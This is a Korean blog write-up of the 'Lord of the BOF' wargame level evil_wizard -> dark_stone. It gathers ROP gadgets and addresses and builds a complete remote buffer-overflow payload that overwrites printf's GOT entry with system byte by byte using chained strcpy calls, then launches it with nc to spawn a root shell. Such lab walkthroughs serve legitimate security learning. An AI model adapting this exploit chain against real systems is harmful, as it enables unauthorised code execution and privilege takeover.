농소

The Lord Of The BOF (FC3) // evil_wizard -> dark_stone 본문

Wargame/The Lord Of The BOF (FC3)

The Lord Of The BOF (FC3) // evil_wizard -> dark_stone

농소 2018. 3. 6. 04:18

[ dark_stone ]




문제를 보시면 문제푸는 요령은 전 문제와 동일합니다.

차이점은 remote bof를 통해서만 권한을 딸 수 있는데요

nc를 이용하여 외부에서 공격해주시면 되는 문제입니다. 

이전 문제와 동일하게 우선 가젯들을 모아봅시다.



ppr 가젯 0x080484f3


strcpy's plt = 0x8048438

printf's plt = 0x8048408 



printf's got = 0x0804984c



system = 0x007507c0

이제 system의 주소와 동일한 값들을 1바이트씩 찾아봅니다.



가젯들을 전부 모았으니 정리해 봅시다


0x7507c0 <system>:

printf's plt = 0x8048408 = "\x08\x84\x04\x08"

printf's got = 0x804984c = "\x4c\x98\x04\x08"

strcpy's plt = 0x8048438 = "\x38\x84\x04\x08"

ppr = 0x080484f3 = "\xf3\x84\x04\x08"


(gdb) x/4b 0x804984c

0x804984c <_GLOBAL_OFFSET_TABLE_+28>: 0x60 0xe6 0x75 0x00 = "\x4c\x98\x04\x08"

 0xc0      0x07      0x75      0x00 <-- 로 교체


0x8049850: 0xc0 0x54 0x78 0x00 = "\x50\x98\x04\x08"

0x8049099: 0x07 0x00 = "\x99\x90\x04\x08"

0x8048bf8: 0x75 0x00 = "\xf8\x8b\x04\x08"

strcpy

"\x50\x98\x04\x08" -> "\x4c\x98\x04\x08"

"\x99\x90\x04\x08" -> "\x4d\x98\x04\x08"

"\xf8\x8b\x04\x08" -> "\x4e\x98\x04\x08"


가젯들을 토대로 payload를 작성해 본다면


dummy 268 | strcpy's plt | pop-pop-ret | arg1 | arg2 | strcpy's plt | pop-pop-ret | arg1 | arg2 | strcpy's plt | pop-pop-ret | arg1 | arg2 | printf's plt | aaaa | /bin/sh


"A" * 268 + "\x38\x84\x04\x08" + "\xf3\x84\x04\x08" + "\x4c\x98\x04\x08" + "\x50\x98\x04\x08" + "\x38\x84\x04\x08" + "\xf3\x84\x04\x08" + "\x4d\x98\x04\x08" + "\x99\x90\x04\x08" + "\x38\x84\x04\x08" + "\xf3\x84\x04\x08" + "\x4e\x98\x04\x08" + "\xf8\x8b\x04\x08" + "\x08\x84\x04\x08" + "aaaa" + "\x03\x36\x83\x00"


payload까지 완성했으니 nc를 통해 외부에서 exploit을 해주면



정상적으로 쉘이 실행되면서 권한이 올랐습니다.